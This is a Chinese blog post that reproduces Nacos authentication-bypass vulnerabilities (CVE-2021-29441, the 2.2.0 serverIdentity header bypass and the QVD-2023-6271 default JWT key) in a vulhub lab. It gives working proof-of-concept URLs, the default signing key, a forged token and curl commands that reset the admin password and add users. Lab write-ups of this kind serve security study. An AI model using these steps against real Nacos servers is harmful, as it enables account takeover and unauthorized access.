首页 > 其他分享 >Nacos漏洞总结

Nacos漏洞总结

时间:2023-08-26 17:22:24浏览次数:50  
标签:总结 http Nacos auth nacos 漏洞 复现

Nacos简介

Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

复现环境搭建

本次复现环境使用的是vulhub中的CVE-2021-29441靶场。
使用docker-compose up -d启动靶场即可。登录页面如下:

漏洞复现

Alibaba Nacos未授权访问CVE-2021-29441

漏洞简介

该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

影响版本

Nacos <= 2.0.0-ALPHA.1

漏洞复现

查看用户列表:http://192.168.80.131:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
直接get方式访问该路径会403,将user-agent头修改为Nacos-Server即可绕过403。


此时看到响应包中包含了系统存在的用户名nacos,密码为加盐之后的值。
添加一个新用户。

然后再去访问之前的链接,查看用户是否成功添加。

从上图可以看到test用户成功添加,使用test用户登录系统。

工具探测

nuclei脚本:nuclei-templates\http\cves\2021\CVE-2021-29441.yaml

Nacos默认配置未授权访问漏洞和2.2.0绕过

漏洞简介

攻击者可以未授权获取nacos系统的所有账号。

漏洞复现

默认配置POC:

http://192.168.174.236:8848/nacos/v1/auth/users?pageNo=1&pageSize=1   
http://10.10.84.207:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken    
可以通过修改pageNo参数的值来查看目标系统内所有账号。

Nacos2.2.0权限绕过

Header中添加serverIdentity: security能直接绕过身份验证查看用户列表

如果没有或者不对应则返回403

Nacos默认key导致权限绕过登陆QVD-2023-6271

漏洞简介

Nacos中发现影响Nacos <= 2.1.0的问题,Nacos用户使用默认JWT密钥导致未授权访问漏洞。 通过该漏洞,攻击者可以绕过用户名密码认证,直接登录Nacos用户。影响版本:0.1.0<=Nacos<=2.1.0

漏洞复现

在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:

获取token
利用该默认的key进行jwt构造,直接进入后台,构造方法:
在jwt.io在线网站中,输入默认key:SecretKey012345678901234567890123456789012345678901234567890123456789,然后修改payload的值。exp参数的值是unix时间戳,这个时间戳代表着accessToken的过期时间,所以要将时间戳往后面设。


利用一:修改nacos用户密码,将密码修改为123456
curl -X PUT "http://192.168.80.131:8848/nacos/v1/auth/users?username=nacos&newPassword=123456&pageNo=1&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MzA1OTQyMX0.rh3mpIO1GQ8liXkza9ZRoi2u21S1uhKVFioxAwkIrFk"

使用修改后的密码进行登录。

利用二:新建test用户
curl "http://192.168.80.131:8848/nacos/v1/auth/users"  -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MzA1OTQyMX0.rh3mpIO1GQ8liXkza9ZRoi2u21S1uhKVFioxAwkIrFk" -d "username=test1&password=test
利用三:利用accessToken登录,密码错误也可以直接登录。

拦截登录请求包,发送请求包,然后修改返回包,将上图生成的响应包进行替换,全部复制过去:

参考链接:https://mp.weixin.qq.com/s?__biz=MzU2MzY1NjU3Ng==&mid=2247485077&idx=1&sn=c9f0600400b44822ab26a55412f3d4b3&chksm=fc57a47acb202d6c42c5789af9f99e82c9a795f0f5da22aa561419d336a0a169f14fd6d4b851&scene=126&sessionid=1679659758&key=67b57c8e46f5d1d80c2bb9519c7d74d16cc231641e6dd80f4e4b954dee64cc2a5d73cb0875d853384d6a4c7c359804aa6f1004d55be0d4883c9bb5ae47daeb867a1a96bfea20047eb4e56a9fea9586821130e529321a445fba24b3786151267137c18d49fb82e41ecb6e57ee63b9238e2c14b2a855c721ac4db40dd3636a5054&ascene=0&uin=NTY2NTA4NjQ%3D&devicetype=Windows+10+x64&version=6309001c&lang=zh_CN&countrycode=AL&exportkey=n_ChQIAhIQZqFRak0%2Bok%2BVGAxQEBbQFRLfAQIE97dBBAEAAAAAAKEgF5xO7GQAAAAOpnltbLcz9gKNyK89dVj0%2BMcURInU5fitAeFmyI82mXQsUmaDB7mzukPjcXxQsbwc67WfJrcVhzy0kN57ErDJaPf7FSpzaJaQb7mTO%2FshIn1ZYM0pHPFzePlUrrhjNmCZoUa5rIB3fYVYr44JJCcjIg9LHFQbCKEnr5jyWrl2w0pUUSTVIyN8bFvRhgxvekRkiBuCi7VrMhIM36wWl85B4xaEZouVlJBmtLQI2X%2BnGSeU%2F1RsTLcAgUk%2BtyrGwlLF%2BsMC33v0xy8%3D&acctmode=0&pass_ticket=rDVx6Pa2XzsX0AcufBVzVRDTFmxP%2BXUFJ

标签:总结,http,Nacos,auth,nacos,漏洞,复现
From: https://www.cnblogs.com/pursue-security/p/17659136.html

相关文章

  • Nacos笔记(六):Nacos应用 - 注册中心、配置中心
    Nacos官网:https://nacos.io/zh-cn/index.html。Nacos注册中心/配置中心搭建官方文档地址:https://nacos.io/zh-cn/docs/v2/ecology/use-nacos-with-spring-cloud.html。1、注册中心Nacos注册中心原理图:  1.1、项目搭建创建新项目,项目结构如下:  父......
  • 大厂算法每日总结(统计文件夹下的文件)
    //统计文件夹下的文件,是文件就累计1,隐藏文件空累计,文件不累计publicstaticvoidmain(String[]args){System.out.println(getFileNumber("D:\重要文件"));}publicstaticintgetFileNumber(StringfolderPath){Fileroot=newFile(folderPath);if(!root.isDirectory(......
  • 大厂算法题每日总结(num最近的,2的某次方)
    //给定一个非负整数num,不用循环,返回>=num,并离num最近的,2的某次方publicstaticfinalinttableSizeFor(intn){n--;n|=n>>>1;//>>>不带符号右移n|=n>>>2;n|=n>>>4;n|=n>>>8;n|=n>>>16;//打满,至此int32位,全打满return(n<0......
  • 大厂算法每日总结(GB字符串至少交换几次)
    //一个数组中只有两种字符'G'和'B',//想要所有的G都放左边,所有的B都放右边或者所有的B都放左边,所有的G都放右边//但只能在相邻字符之间进行交换操作//返回至少需要交换几次//方法1publicstaticintminSteps1(Strings){if(s==null||s.equals("")){return0;}......
  • 大厂算法题每日总结(绳子最大能盖的数组节点)
    //绳子最大能盖的数组节点publicstaticvoidmain(String[]args){int[]arr={1,4,7,9,60};System.out.println(maxPoint2(arr,50));}publicstaticintmaxPoint(int[]arr,intL){//L是绳子的长度 intres=1; for(inti=0;i<arr.length;i++){ intnearest=n......
  • Acunetix v23.7 (Linux, Windows) - 漏洞扫描 (Web 应用程序安全测试)
    Acunetixv23.7(Linux,Windows)-漏洞扫描(Web应用程序安全测试)Acunetix|WebApplicationSecurityScanner请访问原文链接:https://sysin.org/blog/acunetix-23/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org重要提示AcunetixPremium现在使用日历化版本......
  • Nexpose v6.6.213 for Linux & Windows - 漏洞扫描
    Nexposev6.6.213forLinux&Windows-漏洞扫描Rapid7VulnerabilityManagement,ReleaseAug23,2023请访问原文链接:https://sysin.org/blog/nexpose-6/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org您的本地漏洞扫描程序搜集通过实时覆盖整个网络,随......
  • 代码随想录算法训练营第二十三天| 669. 修剪二叉搜索树 108.将有序数组转换为二叉搜
     669. 修剪二叉搜索树    卡哥建议:这道题目比较难,比 添加增加和删除节点难的多,建议先看视频理解。   题目链接/文章讲解:https://programmercarl.com/0669.%E4%BF%AE%E5%89%AA%E4%BA%8C%E5%8F%89%E6%90%9C%E7%B4%A2%E6%A0%91.html   视频讲解:https://www.......
  • 8.21-8.27学习总结博客七:Spark机器学习与实时处理
    博客题目:学习总结七:Spark机器学习与实时处理入门内容概要:学习使用Spark进行机器学习和实时数据处理的基本知识,了解Spark的机器学习库和实时处理框架。学习资源:推荐的Spark机器学习和实时处理教程、案例和学习资源。实践内容:通过编写Spark应用程序,实践使用Spark进行机器学习和实时......
  • 类定义、属性、初始化和析构知识点总结
    一:前言:为什么要学类?   类是一个独立存放变量(属性/方法)的空   1.简化代码,提升效率,避免代码重复写入。如用户注册、校验、登录方法可以放在一个类中,需要哪个方法就调用哪个类===》建立模型框架(建立一个方法)===》很多鼠标(实例化)===》都是独立的2.面向对象:直接给我......